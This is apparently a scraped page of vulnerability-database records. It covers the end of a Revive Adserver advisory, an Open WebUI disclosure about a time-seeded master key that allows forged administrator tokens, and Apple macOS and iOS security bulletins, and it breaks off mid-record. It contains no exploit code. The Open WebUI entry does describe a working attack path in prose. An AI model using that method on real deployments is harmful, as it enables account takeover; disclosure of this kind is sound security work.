CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3981932\nhttps://github.com/revive-adserver/revive-adserver/commit/a4593a679\nhttps://cwe.mitre.org/data/definitions/352.html\n\n\n========================================================================\nSolution\n========================================================================\n\n\n\n\n========================================================================\nContact Information\n========================================================================\n\nThe security contact for Revive Adserver can be reached at:\n\u003csecurity AT revive-adserver DOT com\u003e.\n\nPlease review https://www.revive-adserver.com/security/ before doing so.\n\n\n--\nMatteo Beccati\nOn behalf of the Revive Adserver Team\nhttps://www.revive-adserver.com/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-352",
              "description": "CWE-352",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-79",
              "description": "CWE-79",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-89",
              "description": "CWE-89",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-94",
              "description": "CWE-94",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T02:14:18Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/23"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/23"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/352.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/639.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/79.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/89.html"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/94.html"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/0aa9d0124"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/156dee7bc"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/1e4d48b18"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/2275165e0"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/42df0608e"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/770130171"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/8c449079d"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/8fc49ab1d"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/9643f44dc"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/a4593a679"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/ae0bbc4b3"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/b9fd9b04b"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/cabeb2e53"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/cb8fdeddf"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/cce8a4081"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/e301dbbb7"
        },
        {
          "url": "https://github.com/revive-adserver/revive-adserver/commit/f0ab01a02"
        },
        {
          "url": "https://hackerone.com/reports/3826207"
        },
        {
          "url": "https://hackerone.com/reports/3831102"
        },
        {
          "url": "https://hackerone.com/reports/3859000"
        },
        {
          "url": "https://hackerone.com/reports/3878649"
        },
        {
          "url": "https://hackerone.com/reports/3883840"
        },
        {
          "url": "https://hackerone.com/reports/3896779"
        },
        {
          "url": "https://hackerone.com/reports/3908050"
        },
        {
          "url": "https://hackerone.com/reports/3929216"
        },
        {
          "url": "https://hackerone.com/reports/3942028"
        },
        {
          "url": "https://hackerone.com/reports/3958112"
        },
        {
          "url": "https://hackerone.com/reports/3971985"
        },
        {
          "url": "https://hackerone.com/reports/3981932"
        },
        {
          "url": "https://hackerone.com/reports/4075098"
        },
        {
          "url": "https://hackerone.com/reports/4116433"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.revive-adserver.com/"
        },
        {
          "url": "https://www.revive-adserver.com/security/"
        },
        {
          "url": "https://www.revive-adserver.com/security/revive-sa-2026-004"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/23"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[REVIVE-SA-2026-004] Revive Adserver Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-107247",
              "type": "related"
            },
            {
              "destId": "CVE-2026-107662",
              "type": "related"
            },
            {
              "destId": "CVE-2026-108558",
              "type": "related"
            },
            {
              "destId": "CVE-2026-108559",
              "type": "related"
            },
            {
              "destId": "CVE-2026-108560",
              "type": "related"
            },
            {
              "destId": "CVE-2026-108561",
              "type": "related"
            },
            {
              "destId": "CVE-2026-108562",
              "type": "related"
            },
            {
              "destId": "CVE-2026-108563",
              "type": "related"
            },
            {
              "destId": "CVE-2026-108564",
              "type": "related"
            },
            {
              "destId": "CVE-2026-108565",
              "type": "related"
            },
            {
              "destId": "CVE-2026-68485",
              "type": "related"
            },
            {
              "destId": "CVE-2026-68486",
              "type": "related"
            },
            {
              "destId": "CVE-2026-77168",
              "type": "related"
            },
            {
              "destId": "CVE-2026-82978",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0565",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/23",
            "automated": true,
            "contentSha256": "0ccde5b6ab3ab392b6f181490375d083511f822734272dd7add6d5ed7d0f6759",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/23",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-12T17:56:21Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0565"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T02:14:18Z",
    "dateUpdated": "2026-11-13T02:14:18Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0565"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0564

Vulnerability from gna-1988 – Published: 2026-11-13 02:14 – Updated: 2026-11-13 02:14
VLAI
Title
Open WebUI: the Windows installer mints the master key from the install second — CVE-2025-15603 was rejected; here is the measurement
Summary
Open WebUI's Windows installer (start_windows.bat) generates WEBUI_SECRET_KEY — the master secret that signs every session token — from the C library's rand(), a linear congruential generator seeded once with the current time in seconds. The key's entire entropy is the second in which the software was installed. From any ordinary user's own token, the master key is recoverable blind in ~2.1 seconds across a ±1-day window. With it, a full administrator token can be forged and is accepted by the official release. All 178 release tags ship the construction. On the newest tags (v0.12.0+) a per-account session stamp blocks cross-account forgery; the key recovery itself is total on every tag, and 171 of 178 tags have no stamp at all. This issue was reported before. It became CVE-2025-15603, was disputed by the vendor, and the CVE was rejected in June 2026. The vendor's guidance was: no action required. The paper replaces that judgment with a measurement. It is clear-signed, and a timestamped copy is held at archive.org: Paper: https://archive.org/details/knell-one-second Mirror: https://github.com/the-knell/one-second Key: 133883AB9F6EDE5B9BA6B82E27BEDAF0CE152F25 (knell) Verify: gpg --import knell-public.asc, then gpg --verify whitepaper-openwebui-FINAL-2026-11-04.md.asc — knell More, signed and timestamped: https://github.com/the-knell _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Open WebUI the Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0564 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "WebUI the",
          "vendor": "Open",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "theknell--- via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Open WebUI\u0027s Windows installer (start_windows.bat) generates\nWEBUI_SECRET_KEY \u2014 the master secret that signs every session token \u2014\nfrom the C library\u0027s rand(), a linear congruential generator seeded\nonce with the current time in seconds. The key\u0027s entire entropy is\nthe second in which the software was installed.\n\nFrom any ordinary user\u0027s own token, the master key is recoverable\nblind in ~2.1 seconds across a \u00b11-day window. With it, a full\nadministrator token can be forged and is accepted by the official\nrelease. All 178 release tags ship the construction. On the newest\ntags (v0.12.0+) a per-account session stamp blocks cross-account\nforgery; the key recovery itself is total on every tag, and 171 of\n178 tags have no stamp at all.\n\nThis issue was reported before. It became CVE-2025-15603, was\ndisputed by the vendor, and the CVE was rejected in June 2026. The\nvendor\u0027s guidance was: no action required.\n\nThe paper replaces that judgment with a measurement. It is\nclear-signed, and a timestamped copy is held at archive.org:\n\nPaper: https://archive.org/details/knell-one-second\nMirror: https://github.com/the-knell/one-second\nKey: 133883AB9F6EDE5B9BA6B82E27BEDAF0CE152F25 (knell)\n\nVerify: gpg --import knell-public.asc, then\ngpg --verify whitepaper-openwebui-FINAL-2026-11-04.md.asc\n\n\u2014 knell\n\nMore, signed and timestamped: https://github.com/the-knell\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T02:14:18Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/21"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/21"
        },
        {
          "url": "https://archive.org/details/knell-one-second"
        },
        {
          "url": "https://github.com/the-knell"
        },
        {
          "url": "https://github.com/the-knell/one-second"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/21"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Open WebUI: the Windows installer mints the master key from the install second \u2014 CVE-2025-15603 was rejected; here is the measurement",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-15603",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0564",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/21",
            "automated": true,
            "contentSha256": "ee5c3165ebfa024a9c7781deebe0cdc73192b4e9b7de01db21d97286a400345f",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/21",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-06T04:54:50Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0564"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T02:14:18Z",
    "dateUpdated": "2026-11-13T02:14:18Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0564"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0563

Vulnerability from gna-1988 – Published: 2026-11-13 02:14 – Updated: 2026-11-13 02:14
VLAI
Title
APPLE-SA-11-09-2026-4 macOS Golden Gate 27.2.1
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-09-2026-4 macOS Golden Gate 27.2.1 macOS Golden Gate 27.2.1 addresses the following issues. Information about the security content is also available at https://support.apple.com/149718. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: macOS Golden Gate Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple Bluetooth Available for: macOS Golden Gate Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple brotli Available for: macOS Golden Gate Impact: Processing maliciously crafted input may lead to memory corruption Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2026-111497 CoreUtils Available for: macOS Golden Gate Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: macOS Golden Gate Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher Messages Available for: macOS Golden Gate Impact: A remote attacker may be able to join an iMessage group chat and receive its messages Description: An authorization issue was addressed with improved validation. CVE-2026-113961: an anonymous researcher Messages Available for: macOS Golden Gate Impact: A user added to an iMessage group may be able to access messages sent before they joined Description: This issue was addressed by removing the vulnerable code. CVE-2026-113960: an anonymous researcher rapportd Available for: macOS Golden Gate Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple macOS Golden Gate 27.2.1 may be obtained from the Mac App Store or Apple's Software Downloads web site: https://support.apple.com/downloads/ All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPE0ACgkQ4Ifiq8DH 7PUfWQ//arO0XEabYP1WhWDP4RETeF8Tr+A5rl7R16tiW2wXAryeD5AB8VT7OYR+ Uz7SDCxqDfndYYeVOQnW5zHgrQhshkbSHtxRVIhBviRaWVP4kzGBuCTzDu9xhvQv V/Lv8XavAEgjW51/xeYpsUpnAn3YUoH3iuoHZAqmQtus9I6soqVfA+h1POGCW1zE REp0mZm3Qtl6Zzv+XGCp9yyV161NwKzd+WYTwKWnPDrZ6mUQYuVeuwRF1WREcHXC rZGja6d3yy3wsMvX9kYIi4M9ekPxkQ+73wbvc4ErtNmLjDDR/oyKMZ5lewCyy4vL yuzxrgFDhqi6SgGISzsLTqCshr5boW7zEVhWdpU7hhT+bRr8q7hN96kSH1w8yGkF T//Zbm+K7bSuUUQ1xQYU1P1zPWHQ3Nf51q48XqbDTYk4k3BO3rL087+t4UtgFJwu NeMzWlI6mYS1I5gAgSKrUyMLbqJq+B+s7anqBh0A2mfQqVy1df++2PlgsrfJFpMF ymjTAM+FWHmdIE30SWhlKnChJpE+oliB42ViSdJDrAmvBkkz/OjRRUlm5SQtcgAF 2QLeUM4CIxL7ehP6cgvzbMU/+kkV8TQJ8KDrKxEbpenhR5/wc8VNJ1bI6LeBpUSP 3TewAxE0R8RG/uVJgtcEaC2aiXg+oHC5T45ux8lWVKoQtik1Pnc= =0wqb -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Relationships
reference GCVE-1988-2026-0563 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "macOS Golden Gate",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-11-09-2026-4 macOS Golden Gate 27.2.1\n\nmacOS Golden Gate 27.2.1 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/149718.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nAirPlay\nAvailable for: macOS Golden Gate\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113968: Apple\n\nBluetooth\nAvailable for: macOS Golden Gate\nImpact: An attacker in Bluetooth range may be able to corrupt process\nmemory\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nCVE-2026-113970: Apple\n\nbrotli\nAvailable for: macOS Golden Gate\nImpact: Processing maliciously crafted input may lead to memory\ncorruption\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation.\nCVE-2026-111497\n\nCoreUtils\nAvailable for: macOS Golden Gate\nImpact: A malicious Bluetooth device may be able to establish a pairing\nwithout user interaction\nDescription: This issue was addressed with improved checks.\nCVE-2026-113965: Apple\n\nCoreUtils\nAvailable for: macOS Golden Gate\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts and pair with a device without user\ninteraction\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113964: an anonymous researcher\n\nMessages\nAvailable for: macOS Golden Gate\nImpact: A remote attacker may be able to join an iMessage group chat and\nreceive its messages\nDescription: An authorization issue was addressed with improved\nvalidation.\nCVE-2026-113961: an anonymous researcher\n\nMessages\nAvailable for: macOS Golden Gate\nImpact: A user added to an iMessage group may be able to access messages\nsent before they joined\nDescription: This issue was addressed by removing the vulnerable code.\nCVE-2026-113960: an anonymous researcher\n\nrapportd\nAvailable for: macOS Golden Gate\nImpact: An attacker on the same network may be able to bypass the rate\nlimit on AirPlay pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113969: Apple\n\nmacOS Golden Gate 27.2.1 may be obtained from the Mac App Store or\nApple\u0027s Software Downloads web site:\nhttps://support.apple.com/downloads/\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPE0ACgkQ4Ifiq8DH\n7PUfWQ//arO0XEabYP1WhWDP4RETeF8Tr+A5rl7R16tiW2wXAryeD5AB8VT7OYR+\nUz7SDCxqDfndYYeVOQnW5zHgrQhshkbSHtxRVIhBviRaWVP4kzGBuCTzDu9xhvQv\nV/Lv8XavAEgjW51/xeYpsUpnAn3YUoH3iuoHZAqmQtus9I6soqVfA+h1POGCW1zE\nREp0mZm3Qtl6Zzv+XGCp9yyV161NwKzd+WYTwKWnPDrZ6mUQYuVeuwRF1WREcHXC\nrZGja6d3yy3wsMvX9kYIi4M9ekPxkQ+73wbvc4ErtNmLjDDR/oyKMZ5lewCyy4vL\nyuzxrgFDhqi6SgGISzsLTqCshr5boW7zEVhWdpU7hhT+bRr8q7hN96kSH1w8yGkF\nT//Zbm+K7bSuUUQ1xQYU1P1zPWHQ3Nf51q48XqbDTYk4k3BO3rL087+t4UtgFJwu\nNeMzWlI6mYS1I5gAgSKrUyMLbqJq+B+s7anqBh0A2mfQqVy1df++2PlgsrfJFpMF\nymjTAM+FWHmdIE30SWhlKnChJpE+oliB42ViSdJDrAmvBkkz/OjRRUlm5SQtcgAF\n2QLeUM4CIxL7ehP6cgvzbMU/+kkV8TQJ8KDrKxEbpenhR5/wc8VNJ1bI6LeBpUSP\n3TewAxE0R8RG/uVJgtcEaC2aiXg+oHC5T45ux8lWVKoQtik1Pnc=\n=0wqb\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T02:14:18Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/27"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/27"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/149718"
        },
        {
          "url": "https://support.apple.com/downloads/"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/27"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-11-09-2026-4 macOS Golden Gate 27.2.1",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-111497",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113960",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113961",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113964",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113965",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113968",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113969",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113970",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0563",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/27",
            "automated": true,
            "contentSha256": "489c12af8a70fe3b192dad3a2a83f4351c41e07fe88668a04d89442e589ae608",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/27",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-10T00:05:59Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0563"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T02:14:18Z",
    "dateUpdated": "2026-11-13T02:14:18Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0563"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0562

Vulnerability from gna-1988 – Published: 2026-11-13 02:14 – Updated: 2026-11-13 02:14
VLAI
Title
APPLE-SA-11-09-2026-3 iOS 18.7.12 and iPadOS 18.7.12
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-09-2026-3 iOS 18.7.12 and iPadOS 18.7.12 iOS 18.7.12 and iPadOS 18.7.12 addresses the following issues. Information about the security content is also available at https://support.apple.com/149717. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple Bluetooth Available for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple CoreUtils Available for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher MediaRemote Available for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation Impact: An attacker with physical access may be able to pair a device with an AirPlay receiver from the lock screen Description: This issue was addressed by restricting options offered on a locked device. CVE-2026-113971: Apple rapportd Available for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. * The version after applying this update will be "iOS 18.7.12 and iPadOS 18.7.12". All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPDkACgkQ4Ifiq8DH 7PVhZA//VV+arSHm61SLwWBMjIiaVULq68Jo6WkOD8rJ8Tgzh/L03HXDz52GsXMU +piR4Yv09DUjewc0IsRLQckszCSHxfCMZXs2PrjmAQPK8KnzhW61qEATt7GRJpbI ApzHRxhyMEy6IQYVeYZt6fhPYAZoqS1vDD5hWqdCXvxbM+sYnDe/AZae1h2qQgWx AL+iovST2fZ8187otSd9gTE1QeDcDRGIw2dlRQMbdQAQ4+EO2hJKGvfy3I920uwU hW+ZnWzOggVjHAWqx78wyN5a0QZBVNEowOMREuEZd7aMIobp4vQx62J9fL1K8/8P ww15xpq1lpjtcxuk9fesfFS4hB/rbRW280q2LXFLiiEwHTlD7+kGZHNzm2ZkTHUU 1cFztIDsSsxiBjoyE89HJ3SBlN/cHPdmCVDm5xLl9sMnqNSmWhlSc0am3KuudYTC fgeoSebA2qhiNNcpnTcuEjhNAqi5/xhXAmn1UKN2AWFBAfMnBUk+4aS72Z602kM2 ELqI2ThvIA0UjiKxFyEZc4MP7NsHVfi8Kv3acOqacmp2/QRIhPGkzbpI0NQ8L9ul znNt8y6Zj7Qo2lqHPwpsysGiXvuQjAYyWcV19LXOnn26qOUl07ukg3hvGAk3GJwg DbmIsXlvDOshlWALBMTid2HEpDAaHPnRPBh+RqrF+45w/SAzZ+8= =mnGs -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown iOS Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0562 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "iOS",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-11-09-2026-3 iOS 18.7.12 and iPadOS 18.7.12\n\niOS 18.7.12 and iPadOS 18.7.12 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/149717.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nAirPlay\nAvailable for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113968: Apple\n\nBluetooth\nAvailable for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation\nImpact: An attacker in Bluetooth range may be able to corrupt process\nmemory\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nCVE-2026-113970: Apple\n\nCoreUtils\nAvailable for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation\nImpact: A malicious Bluetooth device may be able to establish a pairing\nwithout user interaction\nDescription: This issue was addressed with improved checks.\nCVE-2026-113965: Apple\n\nCoreUtils\nAvailable for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts and pair with a device without user\ninteraction\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113964: an anonymous researcher\n\nMediaRemote\nAvailable for: iPhone XS, iPhone XS Max, iPhone XR, iPad 7th generation\nImpact: An attacker with physical access may be able to pair a device\nwith an 